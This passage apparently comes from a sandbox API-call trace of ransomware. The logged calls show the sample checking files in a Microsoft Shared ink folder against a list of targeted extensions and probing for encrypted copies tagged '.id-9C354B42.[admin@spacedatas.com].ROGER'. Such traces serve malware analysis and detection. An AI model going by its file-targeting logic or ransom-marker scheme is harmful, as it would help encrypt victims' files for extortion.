lpString2="xml") returned -1 [0041.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.349] lstrlenW (lpString=".dbf") returned 4 [0041.349] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.349] lstrlenW (lpString=".1cd") returned 4 [0041.349] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0041.349] lstrlenW (lpString=".jpg") returned 4 [0041.349] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.350] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.350] lstrlenW (lpString="boxed-correct.avi") returned 17 [0041.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.351] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=89600) returned 1 [0041.351] CloseHandle (hObject=0x390) returned 1 [0041.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0041.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.351] lstrlenW (lpString=".doc") returned 4 [0041.351] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.351] lstrlenW (lpString=".docx") returned 5 [0041.351] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.351] lstrlenW (lpString=".pdf") returned 4 [0041.351] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".xls") returned 4 [0041.352] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".xlsx") returned 5 [0041.352] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.352] lstrlenW (lpString=".ppt") returned 4 [0041.352] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.352] lstrlenW (lpString=".zip") returned 4 [0041.352] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".rar") returned 4 [0041.352] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".bz2") returned 4 [0041.352] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".7z") returned 3 [0041.352] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.352] lstrlenW (lpString=".dbf") returned 4 [0041.352] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.352] lstrlenW (lpString=".1cd") returned 4 [0041.352] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.352] lstrlenW (lpString=".jpg") returned 4 [0041.352] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.352] lstrlenW (lpString=".doc") returned 4 [0041.352] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".docx") returned 5 [0041.352] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.352] lstrlenW (lpString=".pdf") returned 4 [0041.352] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".xls") returned 4 [0041.352] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.352] lstrlenW (lpString=".xlsx") returned 5 [0041.353] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.353] lstrlenW (lpString=".ppt") returned 4 [0041.353] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.353] lstrlenW (lpString=".zip") returned 4 [0041.353] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.353] lstrlenW (lpString=".rar") returned 4 [0041.353] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.353] lstrlenW (lpString=".bz2") returned 4 [0041.353] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.353] lstrlenW (lpString=".7z") returned 3 [0041.353] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.353] lstrlenW (lpString=".dbf") returned 4 [0041.353] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.353] lstrlenW (lpString=".1cd") returned 4 [0041.353] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0041.353] lstrlenW (lpString=".jpg") returned 4 [0041.353] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.353] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.353] lstrlenW (lpString="boxed-delete.avi") returned 16 [0041.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.354] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=31744) returned 1 [0041.354] CloseHandle (hObject=0x390) returned 1 [0041.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0041.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.354] lstrlenW (lpString=".doc") returned 4 [0041.354] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.354] lstrlenW (lpString=".docx") returned 5 [0041.354] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0041.354] lstrlenW (lpString=".pdf") returned 4 [0041.354] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".xls") returned 4 [0041.355] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".xlsx") returned 5 [0041.355] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0041.355] lstrlenW (lpString=".ppt") returned 4 [0041.355] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.355] lstrlenW (lpString=".zip") returned 4 [0041.355] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".rar") returned 4 [0041.355] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".bz2") returned 4 [0041.355] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".7z") returned 3 [0041.355] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.355] lstrlenW (lpString=".dbf") returned 4 [0041.355] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.355] lstrlenW (lpString=".1cd") returned 4 [0041.355] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.355] lstrlenW (lpString=".jpg") returned 4 [0041.355] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.355] lstrlenW (lpString=".doc") returned 4 [0041.355] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".docx") returned 5 [0041.355] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0041.355] lstrlenW (lpString=".pdf") returned 4 [0041.355] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".xls") returned 4 [0041.355] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.355] lstrlenW (lpString=".xlsx") returned 5 [0041.355] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0041.355] lstrlenW (lpString=".ppt") returned 4 [0041.356] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.356] lstrlenW (lpString=".zip") returned 4 [0041.356] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.356] lstrlenW (lpString=".rar") returned 4 [0041.356] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.356] lstrlenW (lpString=".bz2") returned 4 [0041.356] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.356] lstrlenW (lpString=".7z") returned 3 [0041.356] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.356] lstrlenW (lpString=".dbf") returned 4 [0041.356] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.356] lstrlenW (lpString=".1cd") returned 4 [0041.356] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0041.356] lstrlenW (lpString=".jpg") returned 4 [0041.356] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.356] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.356] lstrlenW (lpString="boxed-join.avi") returned 14 [0041.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.356] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=33280) returned 1 [0041.356] CloseHandle (hObject=0x390) returned 1 [0041.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0041.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.357] lstrlenW (lpString=".doc") returned 4 [0041.357] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString=".docx") returned 5 [0041.357] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0041.357] lstrlenW (lpString=".pdf") returned 4 [0041.357] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString=".xls") returned 4 [0041.357] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString=".xlsx") returned 5 [0041.357] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0041.357] lstrlenW (lpString=".ppt") returned 4 [0041.357] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.357] lstrlenW (lpString=".zip") returned 4 [0041.357] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString=".rar") returned 4 [0041.357] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString=".bz2") returned 4 [0041.357] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString=".7z") returned 3 [0041.357] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.357] lstrlenW (lpString=".dbf") returned 4 [0041.357] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.357] lstrlenW (lpString=".1cd") returned 4 [0041.358] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString=".jpg") returned 4 [0041.358] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString=".doc") returned 4 [0041.358] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString=".docx") returned 5 [0041.358] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0041.358] lstrlenW (lpString=".pdf") returned 4 [0041.358] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString=".xls") returned 4 [0041.358] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString=".xlsx") returned 5 [0041.358] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0041.358] lstrlenW (lpString=".ppt") returned 4 [0041.358] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString=".zip") returned 4 [0041.358] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString=".rar") returned 4 [0041.358] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString=".bz2") returned 4 [0041.358] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString=".7z") returned 3 [0041.358] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString=".dbf") returned 4 [0041.358] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString=".1cd") returned 4 [0041.358] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0041.358] lstrlenW (lpString=".jpg") returned 4 [0041.358] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.359] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.359] lstrlenW (lpString="boxed-split.avi") returned 15 [0041.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.359] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=62976) returned 1 [0041.359] CloseHandle (hObject=0x390) returned 1 [0041.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0041.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.359] lstrlenW (lpString=".doc") returned 4 [0041.359] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.359] lstrlenW (lpString=".docx") returned 5 [0041.359] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.359] lstrlenW (lpString=".pdf") returned 4 [0041.359] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.359] lstrlenW (lpString=".xls") returned 4 [0041.359] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.359] lstrlenW (lpString=".xlsx") returned 5 [0041.372] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.372] lstrlenW (lpString=".ppt") returned 4 [0041.372] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.372] lstrlenW (lpString=".zip") returned 4 [0041.372] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString=".rar") returned 4 [0041.372] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString=".bz2") returned 4 [0041.372] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString=".7z") returned 3 [0041.372] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.372] lstrlenW (lpString=".dbf") returned 4 [0041.372] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.372] lstrlenW (lpString=".1cd") returned 4 [0041.372] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.372] lstrlenW (lpString=".jpg") returned 4 [0041.372] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.372] lstrlenW (lpString=".doc") returned 4 [0041.372] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.372] lstrlenW (lpString=".docx") returned 5 [0041.373] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.373] lstrlenW (lpString=".pdf") returned 4 [0041.373] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString=".xls") returned 4 [0041.373] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString=".xlsx") returned 5 [0041.373] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0041.373] lstrlenW (lpString=".ppt") returned 4 [0041.373] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.373] lstrlenW (lpString=".zip") returned 4 [0041.373] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString=".rar") returned 4 [0041.373] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString=".bz2") returned 4 [0041.373] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString=".7z") returned 3 [0041.373] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.373] lstrlenW (lpString=".dbf") returned 4 [0041.373] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.373] lstrlenW (lpString=".1cd") returned 4 [0041.373] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0041.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0041.373] lstrlenW (lpString=".jpg") returned 4 [0041.373] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0041.373] lstrcmpiW (lpString1=".avi", lpString2=".ROGER") returned -1 [0041.374] lstrlenW (lpString="correct.avi") returned 11 [0041.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0041.374] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=197120) returned 1 [0041.374] CloseHandle (hObject=0x390) returned 1 [0041.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0041.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0041.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0041.374] lstrlenW (lpString=".doc") returned 4 [0041.374] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0041.374] lstrlenW (lpString=".docx") returned 5 [0041.374] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0041.374] lstrlenW (lpString=".pdf") returned 4 [0041.374] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0041.375] lstrlenW (lpString=".xls") returned 4 [0041.375] lstrcmpiW (lpString1=".xls", 